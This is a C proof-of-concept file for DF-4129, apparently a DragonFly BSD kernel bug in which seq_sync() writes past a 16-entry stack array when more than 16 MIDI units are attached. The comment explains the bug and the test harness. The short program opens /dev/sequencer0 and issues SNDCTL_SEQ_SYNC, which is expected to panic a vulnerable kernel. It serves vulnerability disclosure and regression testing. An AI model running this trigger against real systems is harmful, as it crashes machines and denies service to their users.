DF-4129 / seq_sync_oob.c
/* * DF-4129 โ seq_sync() stack OOB write via >=17 MIDI units (unprivileged). * * sys/dev/sound/midi/sequencer.c:2063 declares * int i, rl, sync[16], done; * but seq_sync() then does (sequencer.c:2123-2131, lock NOT held here): * for (i = 0; i < scp->midi_number; i++) * sync[i] = 1; <-- OOB write for i >= 16 * ... * for (i = 0; i < scp->midi_number; i++) * if (sync[i]) { ... } <-- OOB read * * scp->midi_number counts every snd_midi unit that opened successfully in * seq_open() (sequencer.c:766-785) and is bounded only by the 32-entry * scp->midis[] allocation (sequencer.c:541). 17..32 attached MIDI units * therefore smash 4..64 bytes past sync[16] on the kernel stack of the * calling (unprivileged) thread โ reachable through * * ioctl(/dev/sequencer0, SNDCTL_SEQ_SYNC) (sequencer.c:1202-1210) * * close() -> seq_close() -> seq_sync() (sequencer.c:836-837) * both on the 0666 /dev/sequencer node. * * NOTE on wiring: on DragonFly the sequencer personality is DEAD CODE โ * the only seq_modevent() call is inside "#if 0" (midi.c:1508) and * sequencer.c registers no module itself, so stock systems never get * /dev/sequencer. The PoC run therefore uses a PoC-wiring patch that * re-enables the (unmodified) sequencer code, plus fakempu.ko, a harness * that registers 32 fake MPU-401 UART units via the exported midi_init(). * * Usage: ./seq_sync_oob [n] (run as an unprivileged user) * opens /dev/sequencer0 O_RDWR, issues SNDCTL_SEQ_SYNC, then closes. * Expected on vulnerable kernel: fatal trap / panic (kernel stack smash * with 0x01 words), guest dies. Expected on fixed kernel: ioctl returns * 0, exit 0, guest stays up. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/soundcard.h> int main(int argc, char **argv) { const char *dev = argc > 2 ? argv[2] : "/dev/sequencer0"; int loops = argc > 1 ? atoi(argv[1]) : 1; int fd, i, rc, arg = 0; for (i = 0; i < loops; i++) { fd = open(dev, O_RDWR); if (fd < 0) { printf("[-] open %s: %s\n", dev, strerror(errno)); return 1; } printf("[*] %s opened (iter %d)\n", dev, i); rc = ioctl(fd, SNDCTL_SEQ_SYNC, &arg); printf("[*] SNDCTL_SEQ_SYNC -> rc=%d errno=%d(%s)\n", rc, errno, strerror(errno)); rc = close(fd); printf("[*] close -> rc=%d errno=%d(%s)\n", rc, errno, rc ? strerror(errno) : "ok"); } printf("[+] survived %d open/sync/close cycle(s)\n", loops); return 0; } |